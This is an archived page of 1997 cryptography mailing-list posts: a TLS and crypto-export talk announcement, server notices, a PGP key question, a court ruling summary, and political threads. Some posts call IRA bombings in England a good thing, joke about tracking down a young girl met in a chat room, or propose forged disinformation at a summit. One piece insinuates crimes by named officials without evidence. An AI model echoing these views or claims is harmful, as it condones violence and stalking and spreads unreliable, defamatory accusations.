PGP SIGNATURE-----

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Re: NYT on German Net Police
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

John Young wrote: > Robert Hettinga wrote: > >> Recall a previous report that Kohl and other heads of state are > >> to meet in Denver on June 20-22 to plan a global attack > >> on "cyber-terrorism," including the spread of encryption: > >> > >> http://jya.com/denver.htm > > > >Wow. What an opportunity for street theater *that* might be... > > Excellent suggestion, Agent Provocateur (AP) Bob. > > Now, what would be the cyber-version of street theater? Meet incoming International airline flights and hand out free copies of strong crypto (electronic and/or text) to incoming foreigners. Carry passports with Public Key footprint as identifier. > For examp, the security arrangements for the trial will be broadened, > and artfully leaked to the Denver-ensconced and equipped media, to > promote and protect the priceless Derrieres of State. > > But what might cyber-terribles do to work-a-round the highly > classified meat protections? Provide delegates with bogus/forged information regarding meeting, times, security proceedures, etc. > Denver's Judge Downes sent a missive in plaintext to IRS, a > spit in the bucket another Bob said. What about a bigger oyster > hawk at the lens and mikes of the leaders of the free worlds? Forged conference media handouts with quotes from Hitler, Stalin and Mussolini. FalseMonger

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Steak Knife Decryption
by mpd＠netcom.com 17 Dec '03

17 Dec '03

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by message＠marketcom2.com 17 Dec '03

17 Dec '03

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DCSB: IETF-TLS, Exporting Financial Cryptography, and theProspects for SET
by Robert Hettinga 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- The Digital Commerce Society of Boston Presents Win Treese Open Market, Inc. "Security Standards, Policy, and Projects: A Personal View" Tuesday, July 1, 1997 12 - 2 PM The Downtown Harvard Club of Boston One Federal Street, Boston, MA Price, Including Luncheon: $30.00 In this talk, Win will discuss three areas of recent work related to security: 1. History, status, and future of the Transport Layer Security Working Group of the IETF. This working group has been moving SSL into an Internet Standard. 2. Experiences with gaining approval for exporting Internet commerce products with strong cryptography. 3. History, status, and future of the Secure Electronic Transactions protocol, from the point of view of a developer of Internet commerce products. Win Treese is Director of Security at Open Market, which provides products and services for Internet commerce. He has been with the company since it began operation in 1994, working primarily on the security and payment architecture across its product line. He also chairs the Transport Layer Security Working Group of of the IETF. Prior to joining Open Market, he was with the Cambridge Research Lab of Digital Equipment Corporation. He also served as Chief Systems Engineer at MIT's Project Athena. This meeting of the Digital Commerce Society of Boston will be held on Tuesday, July 1, 1997, from 12pm - 2pm at the Downtown Branch of the Harvard Club of Boston, on One Federal Street. The price for lunch is $30.00. This price includes lunch, room rental, various A/V hardware, and the speaker's lunch. ;-). The Harvard Club *does* have dress code: jackets and ties for men (and no sneakers or jeans), and "appropriate business attire" (whatever that means), for women. Fair warning: since we purchase these luncheons in advance, we will be unable to refund the price of your lunch if the Club finds you in violation of the dress code. We will attempt to record this meeting and put it on the web in RealAudio format at some future date We need to receive a company check, or money order, (or, if we *really* know you, a personal check) payable to "The Harvard Club of Boston", by Saturday, June 28, or you won't be on the list for lunch. Checks payable to anyone else but The Harvard Club of Boston will have to be sent back. Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston, Massachusetts, 02131. Again, they *must* be made payable to "The Harvard Club of Boston", in the amount of $30.00. If anyone has questions, or has a problem with these arrangements (We've had to work with glacial A/P departments more than once, for instance), please let us know via e-mail, and we'll see if we can work something out. Upcoming speakers for DCSB are: August Duncan Frissell MarketEarth September Christof Paar Elliptic Curve Cryptography October Peter Cassidy Military Fiat and Digital Commerce November Carl Ellison Identity and Certification for Electronic Commerce We are actively searching for future speakers. If you are in Boston on the first Tuesday of the month, and you would like to make a presentation to the Society, please send e-mail to the DCSB Program Commmittee, care of Robert Hettinga, <mailto: rah(a)shipwright.com> . For more information about the Digital Commerce Society of Boston, send "info dcsb" in the body of a message to <mailto: majordomo(a)ai.mit.edu> . If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in the body of a message to <mailto: majordomo(a)ai.mit.edu> . We look forward to seeing you there! Cheers, Robert Hettinga Moderator, The Digital Commerce Society of Boston -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQEVAwUBM5lTPcUCGwxmWcHhAQHZ6wgAoK0oExZ15s+OA4k81Z8ibUsICWQq40Lp r+K52kvV0gALw92eIg8D1QjWXGlUnO6QcSLJhn4GcFzRDJSJ4qDZpQCN/U0Kwvom vdhGb9f3YtJ3FqR9AjTq6HwEBuAQzdSmHW6FrgoI+cCNrGH7c55EPYPLae02d1Aq NMthOBv/BsR7EcGjajnHPiTuW2BJcoMxnSuYmuvDx1XWZfYztmI00yLRd2cV/a0F hNM3HFwDGNzKGKpe05lW453BP13kXduT3VBtituUr6LSji6X2GTGR3zRVE8c43v4 fhYLFYqP0NiK2iRpcw4Mm7PkysCSKlHG+9JAAIFZc6LbkU5BHbbHPQ== =UU4C -----END PGP SIGNATURE----- ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/

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SSZ status (fwd)
by Jim Choate 17 Dec '03

17 Dec '03

Forwarded message: >From ravage(a)ssz.com Sat Jun 7 13:38:49 1997 From: Jim Choate <ravage(a)ssz.com> Message-Id: <199706071838.NAA00222(a)einstein.ssz.com> Subject: SSZ status To: users(a)ssz.com (SSZ User Mail List) Date: Sat, 7 Jun 1997 13:38:47 -0500 (CDT) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 962 Hi, The initial hardware upgrade went without a hitch. No additional downtime is expected today. We will let the system run until tomorrow afternoon before deciding on the need for further tweaking. _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage(a)ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________|

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UK cryptography list
by Paul Bradley 17 Dec '03

17 Dec '03

After much playing with majordomo I have decided to create a UK cryptography list, I intend the list to focus on UK cryptography research, law, activism, announcements of conferences/meetings etc... The list is being hosted on fatmans.demon.co.uk, which is served by a dial up connection, so message latency will be around 12 hours on average, but I do not see this as a problem as I imagine list traffic will not be very high. Of course, the list will be open for anyone to subscribe whether in the UK or not, and it will be totally unmoderated (with the exception of majordomos command filter which sends posts containing the string "subscribe" to the list owner instead of the list). To subscribe to the list send email to majordomo(a)fatmans.demon.co.uk with the string "subscribe crypto" in the message body. Datacomms Technologies data security Paul Bradley, Paul(a)fatmans.demon.co.uk Paul(a)crypto.uk.eu.org, Paul(a)cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey"

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17 Dec '03

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Intermittent SSZ downtime
by Jim Choate 17 Dec '03

17 Dec '03

Hi, SSZ is going to be offline at least twice over the next 36 hours or so. It should be down on longer than a couple of hours for some hardware upgrades in preperation for a full software upgrade. There are two additional outages planned next weekend. Please plan accordingly, we apologize for any inconvenience. _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage(a)ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________|

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Is Bill Clinton Obstructing Justice???
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Is Bill Clinton Obstructing Justice in the Case of Charles Hayes? by J. Orlin Grabbe 1. Did President Bill Clinton meet with Kentucky District Judge Jennifer B. Coffman at the Watergate Hotel on May 21, 1997? Has Coffman suddenly become an important Presidential advisor? Was the meeting just another tête-à-tête similar to the one Clinton had with Paula Jones? Is Bill Clinton obstructing justice? 2. Is Judge Coffman in the meantime sitting on, and attempting to ignore, a slew of motions from Hayes' attorney Marvin Miller? Is Judge Coffman herself guilty of judicial misconduct? 3. Why did Assistant U.S. Attorney Patrick Malloy recently asked to withdraw from the Chuck Hayes' case? Why did Judge Coffman refuse to allow him to withdraw? 4. Where has the alleged hit man Don Yarbrough disappeared to? Does his disappearance have anything to do with falsified information given to the FBI? Did the FBI previously say they had verified this information? 5. What perjury charges have been filed against FBI agent Stephen Brannan? 6. What perjury charges have been filed against FBI agent David Keller? Was or was not David Keller transferred to the Atlanta office of the FBI? 7. Has Lawrence Myers been impeached as a witness because he was diagnosed as having multiple personalities by the U.S. Army? 8. Are there any remaining witnesses against Charles Hayes? 9. What is the relationship between Judge Jennifer Coffman and Wendell Ford? 10. Was Jennifer Coffman under investigation for financial improprieties at the time she was appointed judge?

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Another prosecution/ruling re Thomases/Amateur Action
by Greg Broiles 17 Dec '03

17 Dec '03

List members may be familiar with the prosecution of Robert Thomas, a Bay Area man who runs (ran?) a BBS entitled "Amateur Action", which provided, via modem and mail order, pornographic images to its customers. Robert Thomas was arrested in California, then prosecuted in and imprisoned by a federal district court in Tennessee based on Tennessee community standards for the material he made available from California; apparently that prosecution centered on one or more pictures involving sex between human(s) and animals. Subsequently, he was indicted by a federal grand jury in Utah for distribution of child pornography; he moved to dismiss that second prosecution on the grounds of double jeopardy and collateral estoppel. His motion was denied, and he subsequently plead guilty to a single count and was sentenced to 26 months' imprisonment. He appealed the denial of his motions to dismiss, and was unsuccessful; the Tenth Circuit ruled that the constitution's protection against double jeopardy and the doctrine of collateral estoppel were not applicable because the two prosecutions involved two different charges (obscenity in TN and child porn in UT) and different findings of fact. He also requested that his sentence be reduced to end at the time his sentence ends in for the TN prosecution, but his request was denied and the appeals court declined to modify the trial court's sentence. The text of the appellate court's ruling is at <http://www.ljx.com/cgi-bin/f_cat?prod/ljextra/data/external/1997/06/9706024 .c10>, I have mirrored it at <http://www.parrhesia.com/thomas.txt>. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles(a)netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. |

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Test [List Operator Reply Only]
by Jim Choate 17 Dec '03

17 Dec '03

Hi, This is a test. List operators only please reply. _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage(a)ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________|

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Tim C. Stalker
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Tim May wrote: > Soon we'll be able to have true "stalker's pages," with links to home > addresss and zipcode data bases. > > (And when I find some young nymphette in one of the chat groups, I'll be > able to click on her name and call up all the relevant information to allow > me to go visit her! We'll have a grand time...or at least I will.) > > --Jack D. Ripper I set up a "spoof" of the anonymizer page where it says "Click here to find out what we know about you." <paraphrased) and turned a friend on to the URL. When she clicked on the link, it provided all of the relevant computer info, as well as her home address, the color of her favorite nightie, and the fact that she sleeps with her bedroom window open. She was only fooled for a fraction of a second, but in that time she wet her drawers. I have no doubt that at some point in the future she will be able to click on a similar link which is *not* a spoof. ^ ! ! Flipper _ ^ ! ! ^ _ ( )

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Re: Steak Knife Decryption
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Rabid Wombat wrote: >A "duress" PIN which cancels the account would be a good addition; >similar to the "duress" code on home security systems that appear to >disarm the alarm but send a silent alarm to the monitoring station. > >-r.w. Sure. Could also have marked bills coated with staining UV flourescent powder preloaded for just such an occasion. Optionally, depending on the location of the ATM, emergency lockdown features preventing the guy from bugging out. Easy enough to do....

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Stats on the lists
by nobody＠hidden.net 17 Dec '03

17 Dec '03

Someone said a while ago that they were working on a list stats generator that makes a summary of what messages were on one feed and not another, how fast each feed ran, and so on. Is there any news on this? thanks

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Invitation To The Electronic Academy Of Law
by lawchek＠softcell.net 17 Dec '03

17 Dec '03

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Re: Steak Knife Decryption (Gun control comment)
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

On 6/7/97 Lucky Green wrote: >Had the victim carried a firearm, his chances of survival would have >improved dramatically. Statistical fact: armed private citizens caputre and/or kill more criminals in the US than all LEAs combined. Of course, armed criminals also kill more private citizens than all LEAs combined. >Gun control kills kids (and adults), "For the first time, a civilized nation has full gun registration. Our streets will be safer, our police more efficient, and the world will follow our lead to the future." --- Adolf Hitler

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Stats on the lists
by nobody＠hidden.net 17 Dec '03

17 Dec '03

Someone said a while ago that they were working on a list stats generator that makes a summary of what messages were on one feed and not another, how fast each feed ran, and so on. Is there any news on this? thanks

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Re: [CRYPTO] ElGamal
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

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PGP 5.0 Beta
by Philip A. Mongelluzzo 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- This may be the wrong forum for this question, if so then ignore me. I have posted this question to the folks at PGP... In the process of creating a set of keys with PGP 5.0 Beta an Access Violation took place (this is NT). The public key was sent to keys.pgp.com but the key ring was not created (or was corrupted). How does one go about getting a key revoked with a lost private key? Thanks, Phil -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQEVAwUBM5qKS+S/ZBRgc6KnAQEXMQf/Y27LfZzhy9pePlemw5fteRox/ZfR7Eoj pcdBkJiFYgY+RXOqzmQAQFHfiA4pnGroYAokA3CjMmqIuWUskTl07sIZkRb3Jdf5 jJ6caoEXEwusVi4koViD1wTvjIb0/csh2ORqo9uZi861lwWRsPKfjEo1x5bTLtRQ 3MioVndws7cJVDpw/D0f3LVdomZNs0GLzhMPz5/FrmbWw0E+OdLV7lcNRWpo+y7E qGyciXbItpxpLIxV6r1cQgYVqKYwTQNZUZbWcmaIJNSpoYdG7F9BIQ/maFpKFR+2 ELsPdg9DfJYX7h/04O5HkO90cah2fjjyl036F+B0GHyT0t2L1Z+bKQ== =wJ4+ -----END PGP SIGNATURE-----

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Re: [CONTROVERSIAL]: A Defense of Terrorism
by William H. Geiger III 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- In <Pine.LNX.3.91.970607230450.11734A-100000(a)fatmans.demon.co.uk>, on 06/07/97 at 11:11 PM, Paul Bradley <paul(a)fatmans.demon.co.uk> said: >I live in mainland England. NI, although still violent, is now not the >only place bombed by the IRA, until a few years ago they mainly attacked >targets in NI, they now bomb all over the country. Well I can only see this as a good thing. :) It is the people of England that support that illegal occupation of Irish soil by Brittish troops. It is only right that they should have to suffer the consequences. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5qhjY9Co1n+aLhhAQF2agQAh/6P7KFgZSmeHD1hgT0rHjWOfWArXe8g UQMTolwI9CzRL3V4HLpd7yBJQ5VwrtcZr4nrETmONnLSwDqf23b0CxIr3nV7OlUv FVkdz71Xz2c59MUjMXob4XTXEjtfe8/WRT3gajEAlrDQQF06lQEgCTjEtiBArAB4 Wfu/DCX18OI= =HmfP -----END PGP SIGNATURE-----

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Re: Responses to "Spam costs and questions" (long)
by William H. Geiger III 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- In <Pine.GSO.3.95.970608053415.20770A-100000(a)well.com>, on 06/08/97 at 07:36 AM, Declan McCullagh <declan(a)well.com> said: >I don't think commercial speech should be treated as second-class speech. >But my position is hardly surprising. Well I think that there are some that would confuse the issue between 1st Amendment free speech and the issues surrounding fraud. Especially those in government who write the laws that regulate commercial speech. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5qsdY9Co1n+aLhhAQHXDQP/XXKYn5xkMENOzSe4/stMvo4TwSYgJvUm 7Z7j4Zb+lEj6+eag923IGI50q42D+uBrjEDeepvTv09GDxfyAWLjqdx9uwW56KOe Fo6vvyQ5Rx0rOGtLJs7Sy+XqWrzpHOZdA5Gj1KRdt8shmMuXocKT7/Fo8Czjv36J LqcbJ4BZZHc= =6Yqy -----END PGP SIGNATURE-----

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